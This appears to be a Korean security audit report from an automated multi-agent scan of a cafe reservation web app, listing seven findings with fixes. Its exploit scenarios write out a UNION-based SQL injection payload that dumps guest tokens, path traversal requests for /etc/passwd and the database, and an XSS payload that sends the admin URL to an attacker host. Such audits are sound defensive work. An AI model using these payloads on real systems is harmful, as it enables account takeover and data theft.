2026-10-18(UTC)에 main 브랜치 커밋 bfbbd42의 동네 카페 예약 관리 웹앱 저장소 전체를 medium effort로 스캔했습니다. 범위 제한 없이 codebase 스캔을 했고, 추적 파일은 11개입니다. 검증 panel을 통과한 결과는 7건입니다. HIGH 2건, MEDIUM 4건, LOW 1건이고 CRITICAL은 없습니다. 가장 시급한 것은 두 가지입니다. 하나는 /receipt의 path traversal로, 서버 권한으로 임의 파일을 읽을 수 있습니다(F1). 다른 하나는 인증 없는 /search의 SQL injection으로, 모든 손님의 token과 비밀번호 hash를 빼낼 수 있습니다(F2). 둘 다 공격자가 손쉽게 쓸 수 있습니다. 모든 결과는 코드를 읽어서 도출했습니다. 스캔 중에 테스트를 실행하거나 exploit을 실제로 시도하지는 않았습니다.
app(서버, DB, 뷰, 설정; 5개 파일)과 receipts(영수증 샘플; 1개 파일)입니다. component 바깥 파일(README.md, .gitignore 등 루트 파일)은 별도 researcher 한 명이 모든 취약점 유형을 기준으로 읽었습니다.tests/. inventory가 남긴 사유는 "Unit tests and sample fixture data, not shipped product code"입니다. 다만 위의 component 바깥 파일 담당 researcher가 이 파일들을 함께 다뤘습니다.app, receipts, tests)는 모두 스캔했거나 제외 사유가 기록되어 있습니다. 전체 트리가 빠짐없이 처리되었습니다.receipts는 injection·입력 처리, 인증·인가, 메모리·unsafe 연산, 암호·비밀정보 관점에서 읽었습니다. app은 injection·입력 처리, 인증·인가, 암호·비밀정보 관점에서 읽었습니다. component 바깥 파일은 모든 유형을 기준으로 읽었습니다. researcher들이 "읽지 못했다"고 신고한 경로는 없습니다. component 안의 추적 파일 6개는 모두 결론까지 읽은 것으로 확인되었습니다.app 그룹 researcher에게는 memory-safety 버그를 묻지 않았습니다. workflow가 researcher를 투입하기 전에, inventory가 보고한 언어만 보고 이 코드를 모두 managed language(Python)로 판단해 이 관점을 뺐습니다./receipt의 file 파라미터로 path traversal을 일으켜 임의 파일을 읽을 수 있음 (HIGH, confidence high)Impact. 서버 프로세스 권한으로 임의 파일을 읽을 수 있습니다. cafe.db 전체(모든 손님의 token과 비밀번호 hash 포함), 소스 코드, SSH key, 환경 설정 파일 등이 노출됩니다.
Where. app/server.py:54 in do_GET — CWE-22
What. 쿼리 파라미터 file이 os.path.join(config.RECEIPT_DIR, ...)에 그대로 들어간 뒤 open()으로 열리고, 내용이 응답 본문으로 나갑니다. 경로 정규화도, 결과 경로가 RECEIPT_DIR 안에 있는지 확인하는 검사도 없습니다. 그래서 ../도 절대 경로도 통합니다. 절대 경로를 주면 os.path.join이 base 디렉터리를 버립니다.
Exploit scenario. 공격자가 POST /register(phone=x&pw=y)로 token을 받습니다. 그 token을 X-Guest-Token 헤더에 넣고 GET /receipt?file=/etc/passwd, GET /receipt?file=../cafe.db 같은 요청을 보내면 서버가 읽을 수 있는 파일을 아무거나 내려받습니다.
Preconditions.
- 서버에 HTTP로 접근할 수 있어야 합니다. 서버는 127.0.0.1에 bind되어 있습니다.
- 유효한 guest token이 필요합니다. 다만 /register로 누구나 바로 발급받을 수 있습니다.
Fix. 클라이언트가 보낸 파일명을 경로로 쓰지 마십시오. 숫자 영수증 ID처럼 정해진 형식의 값만 받아서 서버가 파일명을 만들고, os.path.realpath로 정규화한 결과가 realpath(RECEIPT_DIR) 아래에 있는지 확인하십시오. 영수증 소유자 검사도 함께 넣어야 합니다(F5 참고).
Verification. 3/3 lens verifiers confirmed.
/search의 name 파라미터가 f-string SQL에 그대로 들어가는 SQL injection (HIGH, confidence high)Impact. 로그인 없이 DB 전체를 읽을 수 있습니다. 대상은 guests 테이블의 phone, pw_hash, token과 모든 예약 및 note입니다. bearer token이 평문으로 저장되어 있어 모든 손님 계정을 탈취할 수 있습니다. sqlite3의 execute()는 한 번에 한 문장만 실행하므로 쓰기나 삭제는 할 수 없고, 피해는 읽기에 한정됩니다.
Where. app/db.py:69 in search_by_name — CWE-89
What. /search의 쿼리 파라미터 name(app/server.py:46)이 인증·escape·파라미터 바인딩 없이 db.search_by_name으로 넘어갑니다. 여기서 f-string으로 LIKE '%{name}%' 안에 보간된 뒤 c.execute()로 실행됩니다.
Exploit scenario. 공격자가 로그인 없이 GET /search?name=%25'%20UNION%20SELECT%20id,%20phone,%20token,%20id%20FROM%20guests--%20를 보냅니다. 응답의 예약 카드마다 guest_name과 visit_time 자리에 손님의 phone과 token이 찍혀 나옵니다. 공격자는 이 token을 X-Guest-Token에 넣어 원하는 손님으로 행세할 수 있습니다. 같은 방법으로 pw_hash도 빼낼 수 있습니다.
Preconditions.
- 서버에 HTTP로 접근할 수 있어야 합니다(config.HOST = 127.0.0.1). Host 헤더 검증이 없으므로 DNS rebinding을 쓰면 같은 호스트 사용자의 브라우저를 경유해 닿을 수도 있습니다.
Fix. search_by_name을 파라미터 바인딩(LIKE ? ESCAPE '\')으로 바꾸고, 입력에 든 %와 _는 escape하십시오. /search 자체도 인증을 요구하도록 바꾸는 것을 검토하십시오(F6 참고).
Verification. 3/3 lens verifiers confirmed.
Impact. 사장님(관리자)의 브라우저에서 공격자의 JavaScript가 실행됩니다. 관리자 비밀번호가 URL query로 전달되므로 location.href만 읽어도 비밀번호가 탈취됩니다. 관리자 화면 데이터(오늘 예약한 모든 손님의 이름, 시간, 요청 사항)도 빼낼 수 있고, 화면 내용을 위조할 수도 있습니다.
Where. app/views.py:22 in admin_table — CWE-79
What. POST /reserve의 note 필드(app/server.py:80)가 그대로 DB에 저장됩니다. /admin이 admin_table로 렌더링할 때 이 값이 html.escape 없이 HTML에 보간됩니다. 같은 행의 다른 필드들은 escape됩니다.
Exploit scenario. 공격자가 /register로 token을 받습니다. 이어서 POST /reserve로 오늘 날짜의 예약을 만들면서 note=<script>new Image().src='//attacker/?'+encodeURIComponent(location.href)</script>를 넣습니다. 사장님이 /admin?pw=...로 오늘 예약 목록을 열면 스크립트가 실행되고, 비밀번호가 담긴 URL이 공격자에게 전송됩니다.
Preconditions.
- guest token이 필요합니다. 자가 가입으로 바로 얻을 수 있습니다.
- 예약 시간을 오늘 날짜로 넣어야 관리자 목록에 나옵니다. 공격자가 정하는 값입니다.
- 관리자가 /admin 페이지를 열어야 합니다. 일상적인 사용이지만 피해자의 행동이 필요합니다.
- 서버에 접근할 수 있어야 합니다(127.0.0.1 bind).
Fix. admin_table에서 note도 다른 필드처럼 html.escape해서 출력하십시오. Content-Security-Policy 헤더를 추가하고, 관리자 비밀번호를 URL query로 보내지 않도록 바꾸는 것도 함께 검토하십시오.
Verification. 3/3 lens verifiers confirmed.
Impact. DB가 유출되면 손님들의 평문 비밀번호가 phone 번호와 짝지어 대량으로 복원됩니다. 같은 비밀번호를 다른 서비스에서 재사용하는 손님은 credential stuffing 피해를 입을 수 있습니다.
Where. app/db.py:29 in hash_pw — CWE-916
What. POST /register로 받은 비밀번호가 salt 없는 MD5 한 번으로 guests.pw_hash에 저장됩니다. rainbow table이나 GPU brute force(초당 수십억 회)로 바로 복원할 수 있고, 같은 비밀번호는 같은 hash가 됩니다.
Exploit scenario. 공격자가 가입한 뒤 GET /receipt?file=../cafe.db(F1)로 SQLite 파일을 내려받거나 F2로 pw_hash를 추출합니다. 그다음 MD5 hash를 오프라인에서 거의 즉시 크랙해 손님별 phone 번호와 평문 비밀번호를 얻습니다.
Preconditions.
- cafe.db를 읽을 수 있어야 합니다. 예를 들어 F1, F2, 백업 유출 등을 거치면 됩니다.
Fix. hash_pw를 argon2id, bcrypt, scrypt, 또는 hashlib.scrypt/pbkdf2_hmac처럼 사용자별 랜덤 salt를 쓰는 느린 KDF로 바꾸십시오. 검증은 상수 시간 비교로 하고, 기존 MD5 hash는 다음 로그인 때 재해싱하십시오.
Verification. 3/3 lens verifiers confirmed.
/receipt에 영수증 소유자 검사가 없어 다른 손님의 영수증을 받아 갈 수 있음 (IDOR) (MEDIUM, confidence medium)Impact. 가입한 손님이라면 누구나 다른 손님의 구매·결제 기록을 볼 수 있습니다.
Where. app/server.py:52 in Handler.do_GET — CWE-639
What. 공격자가 조작할 수 있는 file 파라미터가 반환할 영수증을 정합니다. 서버는 유효한 guest token이 있는지만 확인할 뿐, 그 영수증이 요청한 손님의 예약에 속하는지는 확인하지 않습니다. 영수증 파일명도 receipts/1001.txt처럼 예측 가능합니다.
Exploit scenario. 공격자가 가입한 뒤 자기 token으로 GET /receipt?file=1001.txt, 1002.txt, ...를 차례로 요청해 다른 손님들의 영수증을 내려받습니다. 같은 줄의 경로 검사 누락(F1)과 합쳐지면 임의 파일 읽기로까지 번집니다.
Preconditions.
- 서버에 접근할 수 있어야 합니다(127.0.0.1:8765).
- 공개된 POST /register로 가입해야 합니다.
Fix. 클라이언트가 파일명을 보내는 대신 /receipt?id=<예약 ID>를 받으십시오. reservations.guest_id가 요청자 id와 같은지 확인한 뒤, 서버에서 정수 id로 파일명을 만드십시오.
Verification. 3/3 lens verifiers confirmed.
/search가 인증 없이 모든 손님의 예약 목록을 보여 줌 (MEDIUM, confidence medium)Impact. 익명 사용자가 모든 손님의 이름, 방문 일정, 인원수를 통째로 볼 수 있습니다. README에 나온 손님 기능은 예약하기, 내 예약 보기, 영수증 내려받기뿐이고, 공개 예약 목록은 없습니다.
Where. app/server.py:45 in Handler.do_GET — CWE-306
What. /search 라우트는 _guest() 같은 인증 검사 없이 name과 일치하는 예약을 돌려줍니다. 기본값인 빈 name은 LIKE '%%'가 되어 모든 행과 일치합니다.
Exploit scenario. 공격자가 token 없이 GET /search를 요청하면 모든 예약의 손님 이름, 방문 시간, 인원이 카드로 나옵니다. 서버는 Host나 Origin을 검사하지 않고 127.0.0.1 bind에만 의존합니다. 그래서 카페 PC 사용자가 DNS rebinding 페이지를 열면 그 브라우저를 거쳐 이 응답이 빠져나갈 수 있습니다.
Preconditions.
- 127.0.0.1:8765에 직접 접근하거나, 해당 호스트 사용자의 브라우저에서 DNS rebinding이 성공해야 합니다.
Fix. /search에 인증을 요구하고 결과를 요청자 본인의 예약(WHERE guest_id=?)으로 제한하십시오. 공개 조회가 정말 필요하다면 예약 코드 같은 비밀값이 정확히 일치할 때만 결과를 주고, 빈 검색어에는 전체 목록을 돌려주지 마십시오.
Verification. 3/3 lens verifiers confirmed.
/reservation에 소유자 검사가 없어 다른 손님의 예약을 볼 수 있음 (IDOR) (LOW, confidence medium)Impact. 가입한 손님이라면 누구나 다른 손님의 이름, 방문 시간, 인원수를 볼 수 있습니다. 예약 ID가 연속된 정수라서 전체 목록을 차례로 긁어 갈 수 있습니다.
Where. app/server.py:40 in Handler.do_GET — CWE-639
What. id 쿼리 파라미터가 그대로 db.get_reservation()(SELECT * FROM reservations WHERE id=?)으로 들어갑니다. 서버는 token이 유효한지만 확인하고, r['guest_id']를 요청자의 id와 비교하지 않습니다.
Exploit scenario. 공격자가 아무 phone/pw로 가입해 token을 받습니다. 그다음 GET /reservation?id=1,2,3,...을 반복하면 "내 예약" 페이지에 다른 손님들의 예약이 하나씩 표시됩니다.
Preconditions.
- 서버에 접근할 수 있어야 합니다(127.0.0.1:8765).
- 공개된 자가 가입(POST /register)으로 계정을 만들어야 합니다.
Fix. _guest()가 돌려준 손님 정보를 써서 WHERE id=? AND guest_id=?로 조회하고, 일치하는 행이 없으면 404를 반환하십시오.
Verification. 2/3 lens verifiers confirmed. researcher는 MEDIUM으로 보고했지만, 찬성한 panel 투표 두 표가 모두 LOW로 평가해 LOW로 낮췄습니다.
먼저 inventory가 저장소를 component로 나눴고, 위협 모델을 세웠습니다. 이어서 component와 취약점 유형 조합마다 researcher를 배정하고, component 바깥 파일을 읽는 researcher 한 명을 추가했습니다(총 8명, 전원 복귀). 그다음 모든 후보를 reachability, impact, defenses 세 관점의 독립 검증자 panel이 2-of-3 기준으로 심사했습니다. F1~F6은 3/3, F7은 2/3으로 통과했습니다. 최종 검증 상태(verification.status)는 함께 생성된 revision stamp 파일에 기록되어 있습니다. 모든 결과는 코드를 읽어서 판단한 것이며, 실제 exploit이나 테스트를 실행해 확인하지는 않았습니다.